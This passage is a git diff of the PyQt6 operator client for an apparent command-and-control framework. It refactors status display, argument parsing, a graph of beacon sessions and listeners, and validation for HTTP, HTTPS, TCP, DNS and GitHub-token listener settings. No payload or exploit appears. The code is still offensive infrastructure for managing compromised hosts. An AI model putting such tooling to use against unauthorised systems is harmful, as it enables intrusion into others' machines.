tls_mode = "dev TLS" if self.devMode else "TLS" + apply_status( + self.connectionStatusLabel, + f"{state} | {endpoint} | user {self.operatorUsername} | {tls_mode} | cert {cert_name}{client_id_text}", + StatusKind.SUCCESS if connected else StatusKind.ERROR, + ) + + def updateRpcStatus(self, operation: str, ok: bool, message: str) -> None: + timestamp = datetime.now().strftime("%H:%M:%S") + self.setConnectionStatus(ok) + self.rpcStatusLabel.setText(format_last_rpc(operation, timestamp)) + + if not ok: + self._lastRpcError = format_last_error(operation, message) + apply_error(self.errorStatusLabel, f"Last error: {self._lastRpcError}") + elif not self._lastRpcError: + clear_status(self.errorStatusLabel, DEFAULT_LAST_ERROR_TEXT) + + @staticmethod + def compactStatusMessage(message: str, limit: int = 160) -> str: + return compact_message(message, limit=limit) + def topLayout(self) -> None: """Initialise the upper part of the main window.""" self.topWidget = QTabWidget() + self.topWidget.setObjectName("C2TopTabs") self.m_main = QWidget() + self.m_main.setObjectName("C2MainTab") self.m_main.layout = QHBoxLayout(self.m_main) - self.m_main.layout.setContentsMargins(0, 0, 0, 0) + self.m_main.layout.setContentsMargins(4, 4, 4, 4) + self.m_main.layout.setSpacing(6) self.sessionsWidget = Sessions(self, self.grpcClient) self.listenersWidget = Listeners(self, self.grpcClient) @@ -162,14 +263,14 @@ def topLayout(self) -> None: self.graphWidget = Graph(self, self.grpcClient) self.topWidget.addTab(self.graphWidget, "Graph") - self.mainLayout.addWidget(self.topWidget, 1, 1, 1, 1) + self.mainLayout.addWidget(self.topWidget, 0, 0, 1, 1) def botLayout(self) -> None: """Initialise the bottom console area.""" self.consoleWidget = ConsolesTab(self, self.grpcClient) - self.mainLayout.addWidget(self.consoleWidget, 2, 0, 1, 2) + self.mainLayout.addWidget(self.consoleWidget, 1, 0, 1, 1) def __del__(self) -> None: @@ -177,32 +278,48 @@ def __del__(self) -> None: if hasattr(self, 'consoleWidget'): self.consoleWidget.script.mainScriptMethod("stop", "", "", "") + def showEvent(self, event) -> None: + super().showEvent(event) + apply_dark_window_chrome(self) - def payloadForm(self) -> None: - """Display the payload creation window.""" - if self.createPayloadWindow is None: - try: - from .ScriptPanel import CreatePayload # type: ignore - except Exception: - CreatePayload = QWidget # fallback to simple widget - self.createPayloadWindow = CreatePayload() - self.createPayloadWindow.show() +def build_arg_parser() -> argparse.ArgumentParser: + """Build the CLI parser using environment-backed defaults.""" + + default_ip = env_value("C2_IP", "127.0.0.1") + default_port = env_int("C2_PORT", 50051, minimum=1, maximum=65535) + default_dev_mode = env_bool("C2_DEV_MODE", False) + + parser = argparse.ArgumentParser(description='TeamServer IP and port.') + parser.add_argument('--ip', default=default_ip, help=f'IP address (default: {default_ip})') + parser.add_argument('--port', type=int, default=default_port, help=f'Port number (default: {default_port})') + parser.add_argument( + '--dev', + action=argparse.BooleanOptionalAction, + default=default_dev_mode, + help='Enable developer mode to disable the SSL hostname check.', + ) + return parser -def main() -> None: - """Entry point used by the project script.""" + +def parse_client_args(argv: Optional[list[str]] = None) -> argparse.Namespace: + """Parse client arguments after loading `.env` values.""" load_c2_env() + return build_arg_parser().parse_args(argv) - parser = argparse.ArgumentParser(description='TeamServer IP and port.') - parser.add_argument('--ip', default='127.0.0.1', help='IP address (default: 127.0.0.1)') - parser.add_argument('--port', type=int, default=50051, help='Port number (default: 50051)') - parser.add_argument('--dev', action='store_true', help='Enable developer mode to disable the SSL hostname check.') - args = parser.parse_args() +def main() -> None: + """Entry point used by the project script.""" + + args = parse_client_args() app = QApplication(sys.argv) - app.setStyleSheet(qdarktheme.load_stylesheet()) + theme = env_value("C2_UI_THEME", "dark").strip().lower() + if theme in {"dark", "light"}: + app.setStyleSheet(qdarktheme.load_stylesheet(theme)) + elif theme not in {"native", "none"}: + app.setStyleSheet(qdarktheme.load_stylesheet()) username = os.getenv("C2_USERNAME") password = os.getenv("C2_PASSWORD") diff --git a/C2Client/C2Client/GraphPanel.py b/C2Client/C2Client/GraphPanel.py index ecd22a3..6c1bd9f 100644 --- a/C2Client/C2Client/GraphPanel.py +++ b/C2Client/C2Client/GraphPanel.py @@ -1,26 +1,41 @@ -import sys import os import time -from threading import Thread, Lock +import logging -from PyQt6.QtCore import QObject, Qt, QThread, QLineF, pyqtSignal -from PyQt6.QtGui import QColor, QFont, QPainter, QPen, QPixmap +from PyQt6.QtCore import QObject, QPointF, Qt, QThread, QLineF, pyqtSignal +from PyQt6.QtGui import QColor, QFont, QFontMetrics, QPainter, QPen, QPixmap from PyQt6.QtWidgets import ( + QHBoxLayout, QGraphicsLineItem, QGraphicsPixmapItem, QGraphicsScene, QGraphicsView, + QPushButton, QVBoxLayout, QWidget, QGraphicsItem, ) +from .env import env_int +from .console_style import CONSOLE_COLORS +from .panel_style import apply_dark_panel_style + +logger = logging.getLogger(__name__) + # # Constant # BeaconNodeItemType = "Beacon" ListenerNodeItemType = "Listener" +NODE_ICON_SIZE = 64 +NODE_LABEL_WIDTH = 132 +NODE_TEXT_COLOR = QColor("#e4e7ec") +GRAPH_BACKGROUND_COLOR = QColor(CONSOLE_COLORS["background"]) +GRAPH_EDGE_COLOR = QColor(CONSOLE_COLORS["timestamp"]) +GRAPH_ZOOM_STEP = 1.18 +GRAPH_MIN_ZOOM = 0.25 +GRAPH_MAX_ZOOM = 3.0 try: import pkg_resources @@ -52,6 +67,15 @@ LinuxRootSessionImage = os.path.join(os.path.dirname(__file__), 'images/linuxhighpriv.svg') +def short_hash(value, length=8): + text = str(value or "") + return text[:length] if len(text) > length else text + + +def _text(value): + return str(value or "").strip() + + # # Graph Tab Implementation # @@ -64,41 +88,56 @@ def trigger(self): class NodeItem(QGraphicsPixmapItem): - # Signal to notify position changes - signaller = Signaller() - - def __init__(self, type, hash, os="", privilege="", hostname="", parent=None): + def __init__(self, type, hash, os="", privilege="", hostname="", listener_type="", parent=None): + # Signal to notify position changes; QGraphicsPixmapItem is not a QObject. + self.signaller = Signaller() + self.autoPositioned = False + self.userMoved = False + self.displayLabel = "" + self.os = _text(os) + self.privilege = _text(privilege) + self.hostname = _text(hostname) + self.listenerType = _text(listener_type) or "listener" if type == ListenerNodeItemType: self.type = ListenerNodeItemType - pixmap = self.addImageNode(PrimaryListenerImage, "") + self.displayLabel = "\n".join([self.listenerType, short_hash(hash)]) + pixmap = self.addImageNode(PrimaryListenerImage, self.displayLabel) self.beaconHash = "" self.connectedListenerHash = "" self.listenerHash = [] self.listenerHash.append(hash) elif type == BeaconNodeItemType: self.type = BeaconNodeItemType - # print("NodeItem beaconHash", hash, "os", os, "privilege", privilege) - if "linux" in os.lower(): - if privilege == "root": - pixmap = self.addImageNode(LinuxRootSessionImage, hostname) + self.displayLabel = self.beaconLabel(hash) + if "linux" in self.os.lower(): + if self.privilege == "root": + pixmap = self.addImageNode(LinuxRootSessionImage, self.displayLabel) else: - pixmap = self.addImageNode(LinuxSessionImage, hostname) - elif "windows" in os.lower(): - if privilege == "HIGH": - pixmap = self.addImageNode(WindowsHighPrivSessionImage, hostname) + pixmap = self.addImageNode(LinuxSessionImage, self.displayLabel) + elif "windows" in self.os.lower(): + if self.privilege == "HIGH": + pixmap = self.addImageNode(WindowsHighPrivSessionImage, self.displayLabel) else: - pixmap = self.addImageNode(WindowsSessionImage, hostname) + pixmap = self.addImageNode(WindowsSessionImage, self.displayLabel) else: - pixmap = QPixmap(LinuxSessionImage).scaled(64, 64, Qt.AspectRatioMode.KeepAspectRatio, Qt.TransformationMode.SmoothTransformation) + pixmap = self.addImageNode(LinuxSessionImage, self.displayLabel) self.beaconHash=hash - self.hostname = hostname self.connectedListenerHash = "" self.listenerHash=[] super().__init__(pixmap) - - def print(self): - print("NodeItem", self.type, "beaconHash", self.beaconHash, "listenerHash", self.listenerHash, "connectedListenerHash", self.connectedListenerHash) + self.setAcceptHoverEvents(True) + self.setCursor(Qt.CursorShape.OpenHandCursor) + self.refreshTooltip() + + def logDebug(self): + logger.debug( + "NodeItem %s beaconHash=%s listenerHash=%s connectedListenerHash=%s", + self.type, + self.beaconHash, + self.listenerHash, + self.connectedListenerHash, + ) def isResponsableForListener(self, hash): if hash in self.listenerHash: @@ -106,7 +145,50 @@ def isResponsableForListener(self, hash): else: return False + def beaconLabel(self, beaconHash): + if self.hostname: + return "\n".join([self.hostname, short_hash(beaconHash)]) + return short_hash(beaconHash) + + def addListenerHash(self, listenerHash): + if listenerHash and listenerHash not in self.listenerHash: + self.listenerHash.append(listenerHash) + self.refreshTooltip() + + def removeListenerHash(self, listenerHash): + if listenerHash in self.listenerHash: + self.listenerHash.remove(listenerHash) + self.refreshTooltip() + + def setConnectedListenerHash(self, listenerHash): + self.connectedListenerHash = _text(listenerHash) + self.refreshTooltip() + + def refreshTooltip(self): + if self.type == ListenerNodeItemType: + tooltip = [ + "Primary listener", + f"Type: {self.listenerType}", + f"Hash: {', '.join(self.listenerHash)}", + ] + else: + tooltip = [ + "Beacon session", + f"Host: {self.hostname or 'unknown'}", + f"Hash: {self.beaconHash}", + f"Listener: {self.connectedListenerHash or 'unknown'}", + ] + if self.os: + tooltip.append(f"OS: {self.os}") + if self.privilege: + tooltip.append(f"Privilege: {self.privilege}") + if self.listenerHash: + tooltip.append(f"Hosted listeners: {', '.join(self.listenerHash)}") + self.setToolTip("\n".join(tooltip)) + def mouseMoveEvent(self, event): + self.userMoved = True + self.autoPositioned = False super().mouseMoveEvent(event) self.signaller.trigger() @@ -118,18 +200,33 @@ def mouseReleaseEvent(self, event): super().mouseReleaseEvent(event) self.setCursor(Qt.CursorShape.ArrowCursor) - def addImageNode(self, image_path, legend_text, font_size=9, padding=5, text_color=Qt.GlobalColor.white): + def addImageNode(self, image_path, legend_text, font_size=9, padding=5, text_color=NODE_TEXT_COLOR): # Load and scale the image - pixmap = QPixmap(image_path).scaled(64, 64, Qt.AspectRatioMode.KeepAspectRatio, Qt.TransformationMode.SmoothTransformation) + pixmap = QPixmap(image_path).scaled( + NODE_ICON_SIZE, + NODE_ICON_SIZE, + Qt.AspectRatioMode.KeepAspectRatio, + Qt.TransformationMode.SmoothTransformation, + ) + + font = QFont() + font.setPointSize(font_size) + metrics = QFontMetrics(font) + labelLines = [ + metrics.elidedText(line, Qt.TextElideMode.ElideRight, NODE_LABEL_WIDTH - padding * 2) + for line in str(legend_text or "").splitlines() + if line + ] # Create a new QPixmap larger than the original for the image and text - legend_height = font_size + padding * 2 - legend_width = len(legend_text) * font_size + padding * 2 - combined_pixmap = QPixmap(max(legend_width, pixmap.width()), pixmap.height() + legend_height) + legend_height = (metrics.height() * len(labelLines) + padding * 2) if labelLines else 0 + combined_pixmap = QPixmap(max(NODE_LABEL_WIDTH, pixmap.width()), pixmap.height() + legend_height) combined_pixmap.fill(Qt.GlobalColor.transparent) # Transparent background # Paint the image and the legend onto the combined pixmap painter = QPainter(combined_pixmap) + painter.setRenderHint(QPainter.RenderHint.Antialiasing) + painter.setRenderHint(QPainter.RenderHint.TextAntialiasing) image_x = (combined_pixmap.width() - pixmap.width()) // 2 painter.drawPixmap(image_x, 0, pixmap) # Draw the image @@ -137,15 +234,19 @@ def addImageNode(self, image_path, legend_text, font_size=9, padding=5, text_col pen.setColor(text_color) # Set the desired text color painter.setPen(pen) # Set font for the legend - font = QFont() - font.setPointSize(font_size) painter.setFont(font) # Draw the legend text centered below the image - text_rect = painter.boundingRect( - 0, pixmap.height(), combined_pixmap.width(), legend_height, Qt.AlignmentFlag.AlignCenter, legend_text - ) - painter.drawText(text_rect, Qt.AlignmentFlag.AlignCenter, legend_text) + for index, line in enumerate(labelLines): + line_y = pixmap.height() + padding + index * metrics.height() + painter.drawText( + 0, + line_y, + combined_pixmap.width(), + metrics.height(), + Qt.AlignmentFlag.AlignCenter, + line, + ) painter.end() return combined_pixmap @@ -158,41 +259,85 @@ def __init__(self, listener, beacon, pen=None): self.listener = listener self.beacon = beacon - self.pen = pen or QPen(QColor("white"), 3) + self.pen = pen or QPen(GRAPH_EDGE_COLOR, 2) + self.pen.setCapStyle(Qt.PenCapStyle.RoundCap) self.setPen(self.pen) self.update_line() - def print(self): - print("Connector", "beaconHash", self.beacon.beaconHash, "connectedListenerHash", self.beacon.connectedListenerHash, "listenerHash", self.listener.listenerHash) + def logDebug(self): + logger.debug( + "Connector beaconHash=%s connectedListenerHash=%s listenerHash=%s", + self.beacon.beaconHash, + self.beacon.connectedListenerHash, + self.listener.listenerHash, + ) def update_line(self): - # print("listener", self.listener.pos()) - # print("beacon", self.beacon.pos()) center1 = self.listener.pos() + self.listener.boundingRect().center() center2 = self.beacon.pos() + self.beacon.boundingRect().center() self.setLine(QLineF(center1, center2)) class Graph(QWidget): - listNodeItem = [] + PRIMARY_LISTENER_X = 40 + NODE_X_GAP = 220 + BEACON_X = PRIMARY_LISTENER_X + NODE_X_GAP + SECONDARY_LISTENER_X = BEACON_X + NODE_X_GAP + NODE_Y_START = 40 + NODE_Y_GAP = 120 + listNodeItem = [] listConnector = [] def __init__(self, parent, grpcClient): super(QWidget, self).__init__(parent) - width = self.frameGeometry().width() - height = self.frameGeometry().height() - self.grpcClient = grpcClient + self.listNodeItem = [] + self.listConnector = [] + self.zoomFactor = 1.0 + apply_dark_panel_style(self) self.scene = QGraphicsScene() + self.scene.setBackgroundBrush(GRAPH_BACKGROUND_COLOR) self.view = QGraphicsView(self.scene) + self.view.setObjectName("C2GraphView") self.view.setRenderHint(QPainter.RenderHint.Antialiasing) + self.view.setRenderHint(QPainter.RenderHint.TextAntialiasing) + self.view.setTransformationAnchor(QGraphicsView.ViewportAnchor.AnchorUnderMouse) + self.view.setResizeAnchor(QGraphicsView.ViewportAnchor.AnchorViewCenter) + self.view.setStyleSheet( + f""" + QGraphicsView#C2GraphView {{ + background-color: {CONSOLE_COLORS["background"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + }} + """ + ) self.vbox = QVBoxLayout() - self.vbox.setContentsMargins(0, 0, 0, 0) + self.vbox.setContentsMargins(4, 4, 4, 4) + self.vbox.setSpacing(6) + self.toolbar = QHBoxLayout() + self.toolbar.setSpacing(6) + self.toolbar.addStretch(1) + self.refreshButton = self.createToolbarButton("Refresh", "Refresh graph now.", width=70) + self.refreshButton.clicked.connect(self.updateGraph) + self.toolbar.addWidget(self.refreshButton) + self.autoLayoutButton = self.createToolbarButton("Auto", "Re-apply automatic layout.", width=56) + self.autoLayoutButton.clicked.connect(self.resetAutoLayout) + self.toolbar.addWidget(self.autoLayoutButton) + self.fitButton = self.createToolbarButton("Fit", "Fit graph in view.", width=48) + self.fitButton.clicked.connect(self.fitGraph) + self.toolbar.addWidget(self.fitButton) + self.zoomOutButton = self.createToolbarButton("-", "Zoom out.", width=34) + self.zoomOutButton.clicked.connect(self.zoomOut) + self.toolbar.addWidget(self.zoomOutButton) + self.zoomInButton = self.createToolbarButton("+", "Zoom in.", width=34) + self.zoomInButton.clicked.connect(self.zoomIn) + self.toolbar.addWidget(self.zoomInButton) + self.vbox.addLayout(self.toolbar) self.vbox.addWidget(self.view) self.setLayout(self.vbox) @@ -206,138 +351,228 @@ def __init__(self, parent, grpcClient): # self.updateScene() + def createToolbarButton(self, text, tooltip, width=58): + button = QPushButton(text) + button.setToolTip(tooltip) + button.setFixedHeight(26) + button.setMinimumWidth(width) + button.setMaximumWidth(width) + return button + def __del__(self): - self.getGraphInfoWorker.quit() - self.thread.quit() - self.thread.wait() + try: + self.getGraphInfoWorker.quit() + self.thread.quit() + self.thread.wait() + except RuntimeError: + pass def updateConnectors(self): for connector in self.listConnector: connector.update_line() + def resetAutoLayout(self): + for item in self.listNodeItem: + item.userMoved = False + self.applyAutoLayout() + self.fitGraph() + + def fitGraph(self): + if not self.scene.items(): + return + rect = self.scene.itemsBoundingRect().adjusted(-80, -80, 160, 160) + self.scene.setSceneRect(rect) + self.view.fitInView(rect, Qt.AspectRatioMode.KeepAspectRatio) + self.zoomFactor = self.view.transform().m11() + + def setZoom(self, zoomFactor): + boundedZoom = max(GRAPH_MIN_ZOOM, min(GRAPH_MAX_ZOOM, zoomFactor)) + self.zoomFactor = boundedZoom + self.view.resetTransform() + self.view.scale(boundedZoom, boundedZoom) + + def zoomIn(self): + self.setZoom(self.zoomFactor * GRAPH_ZOOM_STEP) + + def zoomOut(self): + self.setZoom(self.zoomFactor / GRAPH_ZOOM_STEP) + + def applyAutoLayout(self): + columns = self.layoutColumns() + for depth, nodes in columns.items(): + self.positionNodeColumn(nodes, self.PRIMARY_LISTENER_X + depth * self.NODE_X_GAP) + self.updateConnectors() + self.scene.setSceneRect(self.scene.itemsBoundingRect().adjusted(-80, -80, 160, 160)) + + def layoutColumns(self): + listenerDepthByHash = {} + columns = {0: []} - # Update the graphe every X sec with information from the team server - def updateGraph(self): + for item in self.listNodeItem: + if item.type == ListenerNodeItemType: + columns[0].append(item) + for listenerHash in item.listenerHash: + listenerDepthByHash[listenerHash] = 0 + + beaconDepthByHash = {} + beacons = [ + item for item in self.listNodeItem + if item.type == BeaconNodeItemType + ] + + changed = True + remainingPasses = max(1, len(beacons) + len(listenerDepthByHash) + 1) + while changed and remainingPasses > 0: + remainingPasses -= 1 + changed = False + for beacon in beacons: + sourceDepth = listenerDepthByHash.get(beacon.connectedListenerHash, 0) + depth = max(1, sourceDepth + 1) + if beaconDepthByHash.get(beacon.beaconHash) != depth: + beaconDepthByHash[beacon.beaconHash] = depth + changed = True + for listenerHash in beacon.listenerHash: + if listenerDepthByHash.get(listenerHash) != depth: + listenerDepthByHash[listenerHash] = depth + changed = True + + for beacon in beacons: + depth = beaconDepthByHash.get(beacon.beaconHash, 1) + columns.setdefault(depth, []).append(beacon) + + for depth, nodes in columns.items(): + columns[depth] = sorted(nodes, key=lambda item: (item.type, item.displayLabel, item.beaconHash)) + return columns + + def positionNodeColumn(self, nodes, x): + for index, node in enumerate(nodes): + if node.userMoved: + continue + node.setPos(QPointF(x, self.NODE_Y_START + index * self.NODE_Y_GAP)) + node.autoPositioned = True + + def findBeaconNode(self, beaconHash): + for nodeItem in self.listNodeItem: + if nodeItem.type == BeaconNodeItemType and nodeItem.beaconHash == beaconHash: + return nodeItem + return None - # - # Update beacons - # - responses = self.grpcClient.listSessions() - sessions = list() - for response in responses: - sessions.append(response) + def findResponsibleNode(self, listenerHash): + for nodeItem in self.listNodeItem: + if nodeItem.isResponsableForListener(listenerHash): + return nodeItem + return None + + def removeNode(self, nodeItem): + for connector in list(self.listConnector): + if connector.listener is nodeItem or connector.beacon is nodeItem: + self.scene.removeItem(connector) + self.listConnector.remove(connector) + if nodeItem in self.listNodeItem: + self.scene.removeItem(nodeItem) + self.listNodeItem.remove(nodeItem) + + def syncBeacons(self, sessions): + sessionHashes = {session.beacon_hash for session in sessions} + for nodeItem in list(self.listNodeItem): + if nodeItem.type == BeaconNodeItemType and nodeItem.beaconHash not in sessionHashes: + logger.debug("Delete graph beacon %s", nodeItem.beaconHash) + self.removeNode(nodeItem) - # delete beacon - for ix, nodeItem in enumerate(self.listNodeItem): - runing=False - for session in sessions: - if session.beacon_hash == nodeItem.beaconHash: - runing=True - if not runing and self.listNodeItem[ix].type == BeaconNodeItemType: - for ix2, connector in enumerate(self.listConnector): - if connector.beacon.beaconHash == nodeItem.beaconHash: - print("[-] delete connector") - self.scene.removeItem(self.listConnector[ix2]) - del self.listConnector[ix2] - print("[-] delete beacon", nodeItem.beaconHash) - self.scene.removeItem(self.listNodeItem[ix]) - del self.listNodeItem[ix] - - # add beacon for session in sessions: - inStore=False - for ix, nodeItem in enumerate(self.listNodeItem): - if session.beacon_hash == nodeItem.beaconHash: - inStore=True - if not inStore: - item = NodeItem(BeaconNodeItemType, session.beacon_hash, session.os, session.privilege, session.hostname) - item.connectedListenerHash = session.listener_hash + nodeItem = self.findBeaconNode(session.beacon_hash) + if nodeItem is None: + nodeItem = NodeItem( + BeaconNodeItemType, + session.beacon_hash, + getattr(session, "os", ""), + getattr(session, "privilege", ""), + getattr(session, "hostname", ""), + ) + nodeItem.signaller.signal.connect(self.updateConnectors) + self.scene.addItem(nodeItem) + self.listNodeItem.append(nodeItem) + logger.debug("Add graph beacon %s", session.beacon_hash) + nodeItem.setConnectedListenerHash(getattr(session, "listener_hash", "")) + + def syncListeners(self, listeners): + activeListenerHashes = {listener.listener_hash for listener in listeners} + + for nodeItem in list(self.listNodeItem): + if nodeItem.type == ListenerNodeItemType: + if not any(listenerHash in activeListenerHashes for listenerHash in nodeItem.listenerHash): + logger.debug("Delete graph primary listener %s", nodeItem.listenerHash) + self.removeNode(nodeItem) + elif nodeItem.type == BeaconNodeItemType: + for listenerHash in list(nodeItem.listenerHash): + if listenerHash not in activeListenerHashes: + logger.debug("Delete graph secondary listener %s", listenerHash) + nodeItem.removeListenerHash(listenerHash) + + for listener in listeners: + if self.findResponsibleNode(listener.listener_hash) is not None: + continue + + beaconHash = getattr(listener, "beacon_hash", "") + if not beaconHash: + item = NodeItem( + ListenerNodeItemType, + listener.listener_hash, + listener_type=getattr(listener, "type", "listener"), + ) item.signaller.signal.connect(self.updateConnectors) self.scene.addItem(item) self.listNodeItem.append(item) - print("[+] add beacon", session.beacon_hash) + logger.debug("Add graph primary listener %s", listener.listener_hash) + else: + beaconNode = self.findBeaconNode(beaconHash) + if beaconNode is not None: + beaconNode.addListenerHash(listener.listener_hash) + logger.debug("Add graph secondary listener %s", listener.listener_hash) - # - # Update listener - # - responses= self.grpcClient.listListeners() + def rebuildConnectors(self): + for connector in list(self.listConnector): + self.scene.removeItem(connector) + self.listConnector = [] + + for nodeItem in self.listNodeItem: + if nodeItem.type != BeaconNodeItemType: + continue + listener = self.findResponsibleNode(nodeItem.connectedListenerHash) + if listener is None: + continue + connector = Connector(listener, nodeItem) + self.scene.addItem(connector) + connector.setZValue(-1) + self.listConnector.append(connector) + logger.debug( + "Add graph connector listener=%s beacon=%s", + nodeItem.connectedListenerHash, + nodeItem.beaconHash, + ) + + # Update the graph with information from the team server + def updateGraph(self): + responses = self.grpcClient.listSessions() + sessions = list() + for response in responses: + sessions.append(response) + + responses = self.grpcClient.listListeners() listeners = list() for listener in responses: listeners.append(listener) - # delete listener - for ix, nodeItem in enumerate(self.listNodeItem): - runing=False - for listener in listeners: - if nodeItem.isResponsableForListener(listener.listener_hash): - runing=True - if not runing: - # primary listener - if self.listNodeItem[ix].type == ListenerNodeItemType: - for ix2, connector in enumerate(self.listConnector): - if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash: - print("[-] delete connector") - self.scene.removeItem(self.listConnector[ix2]) - del self.listConnector[ix2] - print("[-] delete primary listener", nodeItem.listenerHash) - self.scene.removeItem(self.listNodeItem[ix]) - del self.listNodeItem[ix] - - # beacon listener - elif self.listNodeItem[ix].type == BeaconNodeItemType: - if listener.listener_hash in self.listNodeItem[ix].listenerHash: - for ix2, connector in enumerate(self.listConnector): - if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash: - print("[-] delete connector") - self.scene.removeItem(self.listConnector[ix2]) - del self.listConnector[ix2] - print("[-] delete secondary listener", nodeItem.listenerHash) - self.listNodeItem[ix].listenerHash.remove(listener.listener_hash) - - # add listener - for listener in listeners: - inStore=False - for ix, nodeItem in enumerate(self.listNodeItem): - if nodeItem.isResponsableForListener(listener.listener_hash): - inStore=True - if not inStore: - if not listener.beacon_hash: - item = NodeItem(ListenerNodeItemType, listener.listener_hash) - item.signaller.signal.connect(self.updateConnectors) - self.scene.addItem(item) - self.listNodeItem.append(item) - print("[+] add primary listener", listener.listener_hash) - else: - for nodeItem2 in self.listNodeItem: - if nodeItem2.beaconHash == listener.beacon_hash: - nodeItem2.listenerHash.append(listener.listener_hash) - print("[+] add secondary listener", listener.listener_hash) - - # - # Update connectors - # - for nodeItem in self.listNodeItem: - if nodeItem.type == BeaconNodeItemType: - inStore=False - beaconHash = nodeItem.beaconHash - listenerHash = nodeItem.connectedListenerHash - for connector in self.listConnector: - if connector.listener.isResponsableForListener(listenerHash) and connector.beacon.beaconHash == beaconHash: - inStore=True - if not inStore: - for listener in self.listNodeItem: - if listener.isResponsableForListener(listenerHash)==True: - connector = Connector(listener, nodeItem) - self.scene.addItem(connector) - connector.setZValue(-1) - self.listConnector.append(connector) - print("[+] add connector listener:", listenerHash, "beacon", beaconHash) + self.syncBeacons(sessions) + self.syncListeners(listeners) + self.rebuildConnectors() for item in self.listNodeItem: item.setFlag(QGraphicsItem.GraphicsItemFlag.ItemIsMovable) item.setFlag(QGraphicsItem.GraphicsItemFlag.ItemIsSelectable) + self.applyAutoLayout() class GetGraphInfoWorker(QObject): @@ -346,6 +581,7 @@ class GetGraphInfoWorker(QObject): def __init__(self, parent=None): super().__init__(parent) self.exit = False + self.refreshIntervalSeconds = env_int("C2_GRAPH_REFRESH_MS", 2000, minimum=100) / 1000 def __del__(self): self.exit=True @@ -355,9 +591,9 @@ def run(self): while self.exit==False: if self.receivers(self.checkin) > 0: self.checkin.emit() - time.sleep(2) - except Exception as e: - pass + time.sleep(self.refreshIntervalSeconds) + except Exception: + logger.exception("Graph refresh worker stopped unexpectedly") def quit(self): self.exit=True diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index ee64f42..dd27237 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -1,25 +1,36 @@ import time import logging +import re +from ipaddress import ip_address from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject +from PyQt6.QtGui import QIntValidator from PyQt6.QtWidgets import ( + QApplication, QComboBox, QFormLayout, QGridLayout, + QHBoxLayout, QLabel, QLineEdit, QMenu, QPushButton, - QTableView, QTableWidget, QTableWidgetItem, QWidget, QHeaderView, QAbstractItemView, + QSizePolicy, ) from .grpcClient import TeamServerApi_pb2 +from .env import env_int from .grpc_status import is_response_ok, operation_ack_text +from .panel_style import apply_dark_panel_style +from .ui_status import apply_error, apply_status, clear_status, format_action_status, status_kind_for_ok +from .window_chrome import apply_dark_window_chrome + +logger = logging.getLogger(__name__) # @@ -42,19 +53,181 @@ DnsType = "dns" SmbType = "smb" +DOMAIN_LABEL_PATTERN = re.compile(r"^[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?$") +GITHUB_PROJECT_PART_PATTERN = re.compile(r"^[A-Za-z0-9][A-Za-z0-9_.-]*$") +PORT_FIELD_TYPES = {HttpType, HttpsType, TcpType, DnsType} +TCP_BOUND_LISTENER_TYPES = {HttpType, HttpsType, TcpType} +PRIMARY_LISTENER_TYPES = [HttpType, HttpsType, TcpType, GithubType, DnsType] +AUTO_FIELD_VALUES = {"0.0.0.0", "8443", "8080", "4444", "53"} +LISTENER_FORM_CONFIG = { + HttpType: { + "param1_label": IpLabel, + "param2_label": PortLabel, + "param1_placeholder": "0.0.0.0 or ::", + "param2_placeholder": "1-65535", + "default_param1": "0.0.0.0", + "default_param2": "8080", + "help": "HTTP listener bound on a local interface.", + "secret": False, + }, + HttpsType: { + "param1_label": IpLabel, + "param2_label": PortLabel, + "param1_placeholder": "0.0.0.0 or ::", + "param2_placeholder": "1-65535", + "default_param1": "0.0.0.0", + "default_param2": "8443", + "help": "HTTPS listener bound on a local interface.", + "secret": False, + }, + TcpType: { + "param1_label": IpLabel, + "param2_label": PortLabel, + "param1_placeholder": "0.0.0.0 or ::", + "param2_placeholder": "1-65535", + "default_param1": "0.0.0.0", + "default_param2": "4444", + "help": "Raw TCP listener bound on a local interface.", + "secret": False, + }, + GithubType: { + "param1_label": ProjectLabel, + "param2_label": TokenLabel, + "param1_placeholder": "project or owner/repo", + "param2_placeholder": "GitHub token", + "default_param1": "", + "default_param2": "", + "help": "GitHub listener using a simple project name or owner/repo.", + "secret": True, + }, + DnsType: { + "param1_label": DomainLabel, + "param2_label": PortLabel, + "param1_placeholder": "example.com", + "param2_placeholder": "1-65535", + "default_param1": "", + "default_param2": "53", + "help": "DNS listener for a controlled domain.", + "secret": False, + }, +} + + +def _text(value): + return str(value or "").strip() + + +def _validate_port(port): + portText = _text(port) + if not portText.isdigit(): + return False, "Port must be a number between 1 and 65535." + + parsedPort = int(portText) + if parsedPort < 1 or parsedPort > 65535: + return False, "Port must be a number between 1 and 65535." + return True, "" + + +def _is_valid_domain(domain): + domainText = _text(domain).rstrip(".") + if not domainText or len(domainText) > 253: + return False + if "://" in domainText or "/" in domainText or ":" in domainText: + return False + return all(DOMAIN_LABEL_PATTERN.match(label) for label in domainText.split(".")) + + +def _is_valid_github_project(project): + projectParts = _text(project).split("/") + if len(projectParts) > 2: + return False + return all(GITHUB_PROJECT_PART_PATTERN.match(part) for part in projectParts) + + +def validate_listener_fields(listenerType, param1, param2): + listenerType = _text(listenerType).lower() + param1 = _text(param1) + param2 = _text(param2) + + if listenerType in {HttpType, HttpsType, TcpType}: + if not param1: + return False, "IP is required." + try: + ip_address(param1) + except ValueError: + return False, "IP must be a valid IPv4 or IPv6 address." + return _validate_port(param2) + + if listenerType == DnsType: + if not _is_valid_domain(param1): + return False, "Domain must be a valid DNS name." + return _validate_port(param2) + + if listenerType == GithubType: + if not param1: + return False, "GitHub project is required." + if not _is_valid_github_project(param1): + return False, "GitHub project must use a simple name or owner/repo." + if not param2: + return False, "GitHub token is required." + return True, "" + + return False, "Unknown listener type." + + +def find_tcp_port_conflict(listenerType, port, existingListeners): + listenerType = _text(listenerType).lower() + if listenerType not in TCP_BOUND_LISTENER_TYPES: + return None + + portText = _text(port) + if not portText.isdigit(): + return None + + for listenerStore in existingListeners or []: + if _text(getattr(listenerStore, "beaconHash", "")): + continue + existingType = _text(getattr(listenerStore, "type", "")).lower() + if existingType not in TCP_BOUND_LISTENER_TYPES: + continue + if _text(getattr(listenerStore, "port", "")) == portText: + return listenerStore + return None + + +def listener_port_conflict_message(conflict): + listenerHash = 